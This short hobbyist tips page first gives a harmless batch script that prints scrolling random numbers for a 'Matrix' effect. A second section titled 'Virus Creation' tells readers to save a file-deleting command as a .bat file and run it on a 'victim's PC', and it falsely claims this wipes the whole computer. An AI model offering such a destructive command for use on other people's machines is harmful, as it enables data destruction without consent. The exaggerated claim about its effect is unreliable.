Matrix effect

Matrix in a computer(Not harmful)
1-Open notepad and paste the following code
2-type'color 02
:tricks
echo
%random%%random%%random%%random%
%random%%random%%random%%random%
goto tricks
3-Save it as Matrix.bat
4-Open and enjoy
You would see a image like this

Virus Creation

Anybody wants to know how a virus is created?
Here are some steps
1-Open Notepad
2-type'del*.*
3-Save as cad.bat
4-Run it on victim's PC
5-Result
Whole Computer's gone